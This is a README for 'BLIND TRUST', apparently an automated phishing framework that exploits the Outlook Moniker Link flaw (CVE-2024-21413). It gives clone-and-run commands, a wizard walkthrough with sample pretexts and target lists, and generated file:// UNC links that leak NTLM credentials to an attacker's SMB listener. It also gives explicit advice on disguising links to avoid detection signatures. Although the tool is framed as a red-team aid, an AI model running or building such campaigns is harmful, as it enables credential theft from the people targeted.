
A security research tool for simulating targeted phishing campaigns using CVE-2024-21413 (Moniker Link).
A security research tool for simulating targeted phishing campaigns using the CVE-2024-21413 Moniker Link vulnerability. Designed for authorized red team operations, penetration testing, and security awareness training.
BLIND TRUST is a phishing engagement framework that helps security teams understand and test their defenses against sophisticated email-based attacks. It leverages the Moniker Link technique to bypass Outlook's Protected View, providing a realistic attack simulation that organizations can use to strengthen their security posture.
This tool automates the end-to-end campaign workflow—from configuration through email delivery—while maintaining operational security through customizable UNC paths and flexible pretext options.
Organizations need to understand real attack techniques to defend effectively. TRUST enables:
.txt files# Clone the repository
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST
# Run the tool
python3 TRUST_v7.py
The tool uses only Python standard library modules:
getpass - Secure password input
html - HTML escaping
ipaddress - IP address validation
logging - Structured logging
os - File operations
re - Regular expressions
signal - Signal handling
smtplib - SMTP email protocol
sys - System utilities
time - Time operations
dataclasses - Configuration modeling
email - MIME email construction
typing - Type hints
No external packages required—runs anywhere with Python 3.7+.
python3 TRUST_v7.py
Follow the interactive wizard through 5 steps:
Load targets from [f]ile or [i]nput directly?: i
Target email address(es): [email protected], [email protected]
Email subject [Security Update Required]: Urgent: Password Expiration Notice
Display name (From field) [Microsoft Security Center]: IT Security Team
Email body text: Your password expires in 24 hours. Please update immediately.
UNC host (IP or domain) [192.168.1.100]: it-internal.company.com
UNC share name [updates]: patches
UNC exploit name [patch]: kb_security_2024
Create targets.txt:
# Finance Department
[email protected]
[email protected]
[email protected]
# Accounting
[email protected]
[email protected]
Then run:
Load targets from [f]ile or [i]nput directly?: f
Path to targets file: targets.txt
[+] Loaded 5 target(s) from targets.txt
Email subject: Q3 Financial Review - Action Required
Display name: Finance Operations Team
Email body: Please review the attached Q3 financial statement and provide approval.
UNC host: finance-internal.company.com
UNC share: quarterly
UNC exploit: q3_financial_report
Generated UNC path: file://finance-internal.company.com/quarterly!q3_financial_report
Two options:
.txt file with one email per line, comments starting with #This is where you avoid obvious signatures:
finance-internal.company.com) instead of just an IPquarterly, updates, documentsq3_report, security_patch, training_documentResult: Instead of the obvious \\192.168.1.100\share!exploit, you get something like file://finance-internal.company.com/quarterly!q3_report.
Start
↓
[STEP 1] Prompt for attacker email and SMTP password
↓
[STEP 2] Prompt for SMB listener IP
↓
[STEP 3] Load target emails (file or input)
↓
↓→ For each target:
│ - Validate email format
│ - Check for duplicates
│
[STEP 4] Prompt for email pretext
│ - Subject, From name, body text
│
[STEP 5] Prompt for UNC path customization
│ - Host, share, exploit name
│
↓
[BUILD] Construct configuration object
↓
[VALIDATE] Check all fields are present and valid
↓
[SUMMARY] Display pre-send summary for review
↓
[CONFIRM] User approves or cancels
↓
[SEND] For each target:
│ - Build MIME email with custom Moniker Link
│ - Attempt SMTP delivery with retry logic
│ - Log per-target success/failure
│
↓
[REPORT] Display campaign results (delivered vs failed)
↓
Exit
CVE-2024-21413 (Moniker Link) is an Outlook vulnerability that allows embedding file:// URLs with a ! character. When a user clicks such a link, Outlook attempts to access the UNC path, triggering an NTLM authentication attempt even in Protected View mode.
\\host\share!exploit! character bypasses Protected ViewTRUST automates the delivery phase: